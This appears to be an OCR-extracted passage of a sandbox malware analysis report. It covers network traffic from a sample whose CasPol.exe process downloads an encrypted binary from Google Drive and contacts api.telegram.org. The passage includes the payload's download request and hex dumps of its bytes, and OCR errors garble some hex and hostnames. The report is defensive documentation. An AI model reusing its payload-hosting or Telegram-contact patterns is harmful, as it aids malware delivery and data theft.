GetPrivateProfileStringW, IstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFilew,
FindFirstFilew, DeleteFilew

Data
Schenklensc
24.1.20
Lipoclasishi233
Theophilanthro36
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Description
Comments
ProductName
FileDescription

Translation

Possible Origin

Language of compilation system

English

Network Behavior

Network Port Distribution

TCP Packets

Timestamp

May 12, 2022 17:08:06.985682964 CEST
May 12, 2022 17:08:06.985697031 CEST
May 12, 2022 17:08:06.985865116 CEST
May 12, 2022 17:08:07.000713110 CEST
May 12, 2022 17:08:07.000720978 CEST
May 12, 2022 17:08:07.052258968 CEST
May 12, 2022 17:08:07.052530050 CEST
May 12, 2022 17:08:07.055279970 CEST
May 12, 2022 17:08:07.055516005 CEST
May 12, 2022 17:08:07.173767090 CEST
May 12, 2022 17:08:07.173855066 CEST
May 12, 2022 17:08:07.174623013 CEST
May 12, 2022 17:08:07.174813986 CEST
May 12, 2022 17:08:07.179724932 CEST
May 12, 2022 17:08:07.222650051 CEST
May 12, 2022 17:08:07.555120945 CEST
May 12, 2022 17:08:07.555285931 CEST
May 12, 2022 17:08:07.555357933 CEST
May 12, 2022 17:08:07.555440903 CEST
May 12, 2022 17:08:07.556870937 CEST
May 12, 2022 17:08:07.556922913 CEST
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Data

Noteform
Beignetdeje162
Guatemalan

0x0409 0x04b0

Country where language is spoken

United States

Total Packets: 53

® 53 (DNS)
® 443 (HTTPS)

Source Port Dest Port
49750 443
443 49750
49750 443
49750 443
443 49750
443 49750
49750 443
443 49750
49750 443
49750 443
443 49750
443 49750
49750 443
49750 443
443 49750
443 49750
443 49750
49750 443
49750 443
49750 443
443 49750

Source IP
192.168.11.20
216.58.212.142
192.168.11.20
192.168.11.20
216.58.212.142
216.58.212.142
192.168.11.20
216.58.212.142
192.168.11.20
192.168.11.20
216.58.212.142
216.58.212.142
192.168.11.20
192.168.11.20
216.58.212.142
216.58.212.142
216.58.212.142
192.168.11.20
192.168.11.20
192.168.11.20
216.58.212.142

Map

Dest IP
216.58.212.142
192.168.11.20
216.58.212.142
216.58.212.142
192.168.11.20
192.168.11.20
216.58.212.142
192.168.11.20
216.58.212.142
216.58.212.142
192.168.11.20
192.168.11.20
216.58.212.142
216.58.212.142
192.168.11.20
192.168.11.20
192.168.11.20
216.58.212.142
216.58.212.142
216.58.212.142
192.168.11.20
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2022 17:08:07.729964972 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.730045080 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.730211973 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.730851889 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.730914116 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.783987999 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.784248114 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.785986900 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.786232948 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.792088985 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.792126894 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.792494059 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.792654991 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.792931080 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.834543943 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.994059086 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.994314909 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.994376898 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.994415998 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.994653940 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.994882107 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.995098114 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.996326923 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.996593952 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.996649981 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.996895075 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.996951103 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.997155905 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:07.997199059 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:07.997450113 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.001679897 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.001920938 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.001945019 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.001979113 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.002129078 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.002161026 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.002183914 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.002355099 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.002687931 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.002943039 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.002999067 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.003235102 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.003407955 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.003659964 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.003715992 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.003926992 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.004195929 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.004405975 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.004451990 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.004652977 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.004772902 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.005026102 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.005067110 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.005208969 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.005376101 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.005584002 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.005623102 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.005816936 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.005971909 CEST 443 49751 142.250.186.33 192.168.11.20
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2022 17:08:08.006176949 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.006216049 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.006413937 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.006438971 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.006684065 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.007102966 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.007311106 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.007359982 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.007590055 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.007638931 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.007838011 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.007927895 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.008131981 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.008173943 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.008371115 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.008405924 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.008605003 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.008657932 CEST 49751 443 192.168.11.20 142.250.186.33
May 12, 2022 17:08:08.008683920 CEST 443 49751 142.250.186.33 192.168.11.20
May 12, 2022 17:08:08.008878946 CEST 49751 443 192.168.11.20 142.250.186.33
UDP Packets
Timestamp Source Port Dest Port Source IP Dest IP
May 12, 2022 17:08:06.964818954 CEST 51882 53 192.168.11.20 1111
May 12, 2022 17:08:06.972877979 CEST 53 51882 1111 192.168.11.20
May 12, 2022 17:08:07.681979895 CEST 50071 53 192.168.11.20 1111
May 12, 2022 17:08:07.727734089 CEST 53 50071 1111 192.168.11.20
May 12, 2022 17:08:21.281043053 CEST 57911 53 192.168.11.20 1111
May 12, 2022 17:08:21.289874077 CEST 53 57911 1111 192.168.11.20
DNS Queries
Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
May 12, 2022 17:08:06.964818954 CEST 192.168.11.20 1111 0x59c7 Standard query  drive.google.com A (IP address) IN (0x0001)
(0)
May 12, 2022 17:08:07.681979895 CEST 192.168.11.20 1111 0xf6b5 Standard query  doc-04-bk- A (IP address) IN (0x0001)
0) docs.goog|
euserconte
nt.com
May 12, 2022 17:08:21.281043053 CEST 192.168.11.20 1111 0xf8e8 Standard query  api.telegram.org A (IP address) IN (0x0001)
(0)
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
May 12, 2022 1111 192.168.11.20 0x59¢7 No error (0) drive.google.com 216.58.212.142 A (IP address) IN
17:08:06.972877979 CEST (0x0001)
May 12, 2022 1111 192.168.11.20 0xf6b5 No error (0) doc-04-bk- googlehosted.l.goo CNAME IN
17:08:07.727734089 CEST docs.googl gleusercontent.co (Canonical (0x0001)
euserconte m name)
nt.com
May 12, 2022 1.1.1.1 192.168.11.20 0xf6b5 No error (0) googlehost 142.250.186.33 A (IP address) IN
17:08:07.727734089 CEST ed.l.goog| (0x0001)
euserconte
nt.com
May 12, 2022 1111 192.168.11.20 0xf8e8 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN
17:08:21.289874077 CEST (0x0001)

HTTP Request Dependency Graph
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e drive.google.com

e doc-04-bk-docs.googleusercontent.com

e api.telegram.org

HTTPS Proxied Packets

Session ID Source IP

0 192.168.11.20
. kBytes

LLLLEE L transferred

2022-05-12 15:08:07 UTC 0

2022-05-12 15:08:07 UTC 0

Session ID Source IP

1 192.168.11.20
. kBytes

Tim m|
imestamp transferred

2022-05-12 15:08:07 UTC 1

Copyright Joe Security LLC 2022

Source Port

49750

Direction

ouT

Source Port

49751

Direction

ouT

Destination IP LWL Process

Port
216.58.212.142 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe
Data

GET /uc?export=download&id=109xcx-d3Bxjd3qTkG604DI9J3f\WxwqgB HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com

Cache-Control: no-cache

HTTP/1.1 303 See Other

Content-Type: application/binary

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Thu, 12 May 2022 15:08:07 GMT

Location: https://doc-04-bk-docs.googleusercontent.com/docs/securesc/haOro937gcuc?I7deffksulng5h7mbp1/3g810s3j
c950nm7rbudOrh2kvsckdceb/1652368050000/02385140022842422686/*/109xcx-d3Bxjd3qTkG604DI9J3fWxwqgB?e=do
wnload

Strict-Transport-Security: max-age=31536000

Content-Security-Policy: script-src ‘nonce-J5SRWYexcJec3enH]ZXc58A" ‘unsafe-inline';object-src 'none’;base-uri 'self';rep
ort-uri /_/DriveUntrustedContentHttp/cspreport;worker-src ‘self'

Content-Security-Policy: require-trusted-types-for 'script’;report-uri /_/DriveUntrustedContentHttp/cspreport
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
platform=*, ch-ua-platform-version=*

Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version

Cross-Origin-Opener-Policy: same-origin

Server: ESF

Content-Length: 0

X-XSS-Protection: 0

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Connection: close

Destinati
Destination IP Esunation Process

Port
142.250.186.33 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

GET /docs/securesc/haOro937gcuc?I7deffksulng5h7mbp1/3g810s3jc950nm7rbudOrh2kvsckdceb/1652368050000/0
2385140022842422686/*/109xcx-d3Bxjd3qTkG604DI19J3fWxwaqB?e=download HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko

Cache-Control: no-cache

Host: doc-04-bk-docs.googleusercontent.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-05-12 15:08:07 UTC 1

2022-05-12 15:08:07 UTC 5

2022-05-12 15:08:07 UTC 9

2022-05-12 15:08:07 UTC 13

2022-05-12 15:08:07 UTC 16
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Direction

IN

Data

HTTP/1.1 200 OK

X-GUploader-UploadID: ADPycdullSaDGpoOfYKIlerPollPxjNt_z9RvrVJL2b660r6pKK6d7ZmYk-553gH_qlTmxGyeipp7cx
HF5bCZhMg8QDUIDdHsgwTK

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: false

Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token,
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-Patientld, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, I-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-
Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-
Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Cl
ient, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visib
ilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-
Pageld, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-1d, X-Goog-Request-Info, X-Goog-Request-R
eason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-
Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-
Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X
-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-
Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-ld, X-Goog-FieldMask,
X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-
Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-
Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-los-Bundle-Identifier, X-Android-Package, X-
Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destinatio
n, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-Clientinfo, X-Goog-Me
eting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-ldentifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-
StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-Viewerlnfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization,
MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-
Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-
alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-
locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment
Access-Control-Allow-Methods: GET,OPTIONS

Content-Type: application/octet-stream

Content-Disposition: attachment;filename="senorita_aVQRBwgA228.bin";filename*=UTF-8"senorita_aVQRBwgA228.bin
Content-Length: 216128

Date: Thu, 12 May 2022 15:08:07 GMT

Expires: Thu, 12 May 2022 15:08:07 GMT

Cache-Control: private, max-age=0

X-Goog-Hash: crc32c=ftDVBw==

Server: UploadServer

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"

Connection: close

Data Raw: 77 ed 55 ed ab b6 15 73 53 a8 d6 b6 74 al f1 9c d9 59 b0 23 99 3e f7 87 b3 f6 ee 8a b5 fa 4b 22 7c 49 3e 02
a2 49 b2 0d d6 95 96 91 1b dc 71 c4 bc 12 ee 82 d9 65 bl 4b 66 09 0f 64 90 fe 86 Oc 16 9e ad fb 71 75 c2 bb 90 49 46 ca
3585 a9 e3 53 d9 6a 38 71 fd a3 ea 1b 49 c1 de 4d b2 91 56 e4 15 d8 38 01 8e 25 9b 7a dc 62 49 8e 19 ff 8a cl eb 0a 63
ec c8 6¢ bl 27 5e eb d7 a0 cf 46 f7 Oe bc dd 63 ac b3 cd 68 52 84 1b 62 b2 d3 59 38 91 a2 f5 8¢ 8b b7 cb 27 8f dd 65 5a
32 a9 00 9d 48 24 21 e6 ca ca 1e 9c 22 fe de 7b 47 86 cf fe 4c 35 b1 a9 9d 8e 47 cb e9 de cf bc 4e e4 b3 7a 1f 0d 32 5b
8 96 ad 6b 4a 34 a7 Oc 2d 24 11 a6 8b bb 4a 6¢ c1 bc 35 75 eb al eb 51 f3 54 ¢8 80 25 6¢ 55 4f 81 8f 9d b0 4c 8b 8f 8b
fe 44 b1 48 c7 84 d5 a8 53 e7 70 ca 9f 70 b4 3b e4 d5 16

Data Ascii: wUsStY#>K"|I>1qeKfdquIF5Sj8qIMV8%zblcl"*FchRbY8'eZ2H$!"{GL5GNz2[kJ4-$JI5SuQT%IUOLDHSpp;

Data Raw: Ob 81 3e 34 ab c2 06 56 28 b0 13 2e 4a 2b 87 3b db Oc 38 6f Of 72 10 56 3d e8 72 bd 13 39 bc 10 c5 3f 6a 8e
6c 14 84 2d 2b b0 62 34 a4 77 2e b8 d8 8 44 87 d7 32 7a Of f4 42 ab 66 8e 24 f1 0f fe 1d d4 22 4c 5e 27 8a 86 0f a2 fc 7d
8e 04 19 7e Oc 42 d6 6f 36 b0 92 1e 17 37 e2 cd 45 d9 df 8a 93 3d fO 78 34 Ob b7 45 91 b1 d4 12 59 c4 3b d3 59 75 c2 bd
bc 3d 44 ca cc 52 81 e3 eb df b4 58 59 dO a3 ea 51 4f dc 53 55 b2 91 57 e8 1d ce 46 1c 8e 25 9f d8 d4 75 61 fb 1b ff 8c
63 e3 12 4b a7 c8 6¢ bb 2c 4c ea a9 3a cf 46 3 28 ef 67 6d a6 a5 cc bc 5b 4a 18 2e 79 50 05 4a 86 cc d5 fc fd 7a a4 4e
ec 12 4d 25 2d da 6e f2 38 a6 4b ab a7 b8 6b f8 2a c4 b0 5b 09 el b2 de 21 50 Ob cc 99 c2 56 c1 cd de cf bc 4e f4 b3 7a
4f 27 30 5b b4 e8 ac 6b fb 93 dc 6e 2d 39 11 a6 8a a8

Data Ascii: >4V(.J+;80rV=r97?jl-+b4w.D2zBf$"L'}~Bo67E=x4EY;Yu=DRXYQOSUWF%uacKI,L:F(gm[J.yPIzZNM%-n8Kk*
['PVNzO'0[kn-9

Data Raw: e2 db fa fc d7 1e b4 b3 63 8a 8c d9 08 6a b4 ca 09 al bc 7b ¢3 49 e2 4b 40 6b 4d 7a 5d bb 1c e7 61 6e 49 ae
4aed 79 82 9e ea 35 70 €0 7a 87 16 70 ba ca 24 f4 59 b2 15 47 12 00 87 31 cc 2c 5b 02 64 74 38 74 2c e0 5¢ d2 3b 78
b6 7f a5 17 3b 84 7d 16 c3 74 2b b0 6e 25 8a 7c 8a ba d2 91 1a 89 d2 57 a0 13 f4 48 c0 eb d1 26 fb 1a c2 7f 9f 33 5e 5e
ch 8a 86 0f a2 79 7f 8e 08 22 39 1d 44 db 72 23 3f 0d 1b 61 37 e4 ef 01 ¢8 d3 8e be 5c fe 17 9a 23 f9 4f b9 12 fc 61 51 d7
37d3 23 75 c2 bl 8543 29 98 ca 7a a3 f0 e0 c8 6¢ 29 7a eb b2 el d5 fe ae aa 4d b2 9b 47 fO 7a 72 38 01 84 08 35 a4 ca
735d fb 20 ff 8a cO c7 06 72 8 bd 55 b1 27 5f 84 8a 20 cf 4c 2b 11 a5 60 7b ab 89 73 ca 07 3c la 24 57 57 0f 50 fe c2 dO
ed fc dd af 5b ea 98 ee 39 53 cd 63 da 6d 04 43 89 e3

Data Ascii: ci{IK@kMz]anlJy5pzp$YG1,[dt8t,\;x;}t+n%|WH&3y"9Dr#?a7\#0aQ7#uC)zl)zMGzr85s] rU'_ L+{s
<$WWP[9ScmC

Data Raw: 52 cd 65 67 ca 4f 74 e0 e2 c4 d3 db 9a e7 8a 7a 68 43 13 be f4 32 b7 99 f6 bb 39 d2 c0 ce 7f f5 96 Of 0d 60 62
76 2f c2 7a 13 80 59 c8 e0 cb c4 d2 87 1e b2 9a e7 9b 88 c7 73 2e a3 e2 9e aa be 59 a3 5d ca 87 36 57 4b 6¢ d1 af 14 6
68 52 fe b8 62 73 7f aa b7 fe 1d b1 8d Ob 81 01 f7 ac c2 Oc 7f 48 b6 02 2c 74 17 Ob 69 dd 24 4d cf 1e 70 2c 6a 2b ff 5¢ 26
3b 78 b6 17 db 3f fd 8c 6¢ 18 ba 8a 2c b0 64 37 98 40 3a 90 4a 97 16 8d ¢3 10 c8 11 f4 44 b8 c3 d6 26 f1 08 c5 50 c7 26
5c 26 e1 d8 86 05 8b 7c 6e 8a 16 25 23 1b 6a 41 64 24 bb bd 60 3d fa e6 e5 0f cf 52 87 bb 4d 3 6¢ 26 37 ee 6d 0d bb fc
6b 7d ef 67 fc 66 5d Oc b9 94 4f 50 47 cd 7a a9 e2 ff cd 7e 10 e9 fd a3 e0 4f 61 Oe dc 4d b4 87 db e3 15 d8 39 15 9a 31
b3 e2 dc 62 43 a6 08 ff 8a cb e7 02 77 c4 18 6e bl

Data Ascii: RegOtzhC29'bv/zYs.Y]6WKIhRbsH,ti$Mp,j+\&;x?1,d7 @:JD&P&\&|n%#jAd$ =RMI&7mk}gflOPGz~0OaM91bCwn
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kBytes

Timestamp transferred Direction
2022-05-12 15:08:07 UTC 17 IN
2022-05-12 15:08:07 UTC 19 IN
2022-05-12 15:08:07 UTC 20 IN
2022-05-12 15:08:07 UTC 21 IN
2022-05-12 15:08:07 UTC 22 IN
2022-05-12 15:08:07 UTC 24 IN
2022-05-12 15:08:08 UTC 25 IN
2022-05-12 15:08:08 UTC 26 IN
2022-05-12 15:08:08 UTC 28 IN
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Data

Data Raw: e3 06 43 85 48 a9 7a €6 16 83 98 c3 03 c9 96 ca 09 ba d7 cc b5 94 c7 c6 cd de ce af 5¢ f5 al 6¢ 67 97 30 5b
b2 35 bf 79 ef e7 c8 46 b5 24 11 ac a3 aa 4a 6¢ 2b af 3b 62 f3 ab f1 5d e7 3c 16 82 25 60 4d c2 86 8f 9d b1 bl c7 9d 99
e84c 6e 4a c7 82 77 b9 41 f0 18 30 9e 50 b2 99 f5 c5 02 6d ea 99 f3 cd ea db c5 65 61 01 90 b5 98 39 fc f6 27 6f 27 ed
07 be 86 dd 3b 47 0d 30 f3 44 60 99 a8 e3 8f c3 6f eb 35 €2 dc aa b6 ac 35 08 62 7c el 85 b1 cb 39 3e 69 22 af e6 14 33
334ae5e8c739dafd17 358447 d6 c4 do 0d 41 ed f6 92 44 88 b8 ea d6 c1 1a 44 1c 6a 91 2 30 e4 20 df 51 02 26 36
ce d0 6¢ 47 09 c8 88 b4 fd 15 b4 1b 03 f4 2d d6 9c dc d7 f4 a4 29 55 b3 42 f4 93 a6 €9 a7 15 fb 9a 19 a0 9a 4f 92 09 e3
7082 a5 e2 f7 d0 40 c3 87 38 af bb 38 2d 88 93 9d 45 58

Data Ascii: CHz\Ig0[5yF$JI+;b]<% MLnJwAOPmea9'o’;GOD 055b|9>i"33J95GADD]j0 Q&6IG-)UBOp@88-EX

Data Raw: 5a 38 b4 cc 10 ae 96 b5 a6 49 e4 50 3c 46 49 52 7a a8 14 fc 43 46 ea ac Ob 7 7f aa bf ea 35 7a 36 Ob 87 16
73 a9 c2 Oc bc 59 b2 13 39 62 00 87 3b dd 24 4c 7e 3f 77 38 3e 3d €8 74 b3 3b 78 ad 06 c4 3c 20 8e 6b 09 52 06 07 b2
7c 3d 8c 53 38 46 d3 bb 14 90 dc 38 03 Ob 0Oa 43 83 4c fa 24 da ea d5 42 d5 ac fd 19 97 8a 86 0f a2 97 7d 8e 04 4f 07 Oc
42 d6 Ob 6e bl ba 7e 7a e4 e4 e5 03 f3 a9 {3 f2 4d f2 7e 1a 63 f9 45 97 af 7c 51 5b c4 39 ef 2 44 c2 bb 90 5d c6 f8 ca 7a
ad c9 eb d9 79 08 73 fd 84 ea 5b 49 ea de 4d a3 87 5d cf Oe d8 3f 16 70 24 b7 78 c4 69 49 89 0f 01 8b ed €9 1d 68 ec cf
74 4f 26 72 €9 fc 22 e4 a5 89 2c a3 67 69 86 07 d7 95 71 3¢ 91 2e 7f f2 21 50 8 c0 c3 f7 c1 a6 ac 55 ee b0 42 2e ad c6 42
f0O 24 0f 43 84 f2 46 6a de 0d 83 4e 5d 44 c9 9c d8 52

Data Ascii: Z8IP<FIRzCF5z6sY9b;$L~?w8>=t;x< kR|=S8F8CL$B}OBn~zM~cE|Q[9D]zys[IM]?p$xilhtO&r",gig<.!PU
B.B$CFjN]DR

Data Raw: a2 08 fc d4 2d e0 c4 7b ed f6 e6 5d a0 5a c6 a0 79 69 dd a8 28 ea 4d e8 fd 22 b7 ec ce 03 0a cb 16 5¢ d9 98
4d 93 d9 71 el 99 bc 24 5b a4 12 d3 b6 5 ec 2d a4 73 a3 7a ef 5d ab 1a 6f 09 c9 be 06 3c 0d 36 30 8c 7c 1a 4f d9 62 e3
9c 84 4e e4 a0 e3 70 13 6 80 8 ef 6f 60 28 c1 74 ce 04 df 68 91 8¢ b5 d3 fc 3f 6f 23 04 b0 33 b2 35 7e f6 dd 43 9d 7d 77
fl ce a2 88 41 e5 41 ae 5d 3b fb fO ee ¢9 5b 01 95 27 a3 85 94 8f 08 1b 07 07 a3 49 d3 21 25 96 dO 1f bf Ob 34 46 al 59
1527 64 34 b5 4c e0 8f 7a cf 61 e0 da 11 7e 34 64 9e e6 5f ba dc 4c a7 4e e8 c6 66 c8 d2 74 f3 d8 cO c7 55 5¢c e5 8a 4e
7e ce 05a8 e7 37 9b 02 e2 93 al d2 d1 cO 72 23 5d 21 02 70 Ob dc 28 c2 7e 9c 24 4a 03 €9 d1 c8 4d d1 1e a3 9f 59 74
8d ff 62 2f 9e d7 10 ae be 42 a0 5e 1c 40 18 54 55 69 58

Data Ascii: -{]Zyi(M"\Mq$[-sz]o<60|ObNpo’(th?0#35~C}wAA];['1!%4FY'd4Lza~4d_LNftU\N~7r#]!p(~$IMYth/B @TUiX

Data Raw: aa 60 58 f3 14 cf 5d fe 65 55 4f 83 90 ed 83 bb ab 85 8b fe 60 99 5e c5 84 d3 80 70 e7 30 c0 1f 59 b4 3b e0 Oa
ab 7afe b1 69 d2 9b e2 f4 bc 68 01 9a a3 bb 06 11 f6 21 4d 28 f0 16 bf 17 d0 0a 50 18 e6 7f 43 71 95 82 a3 ff f0 70 bd 92
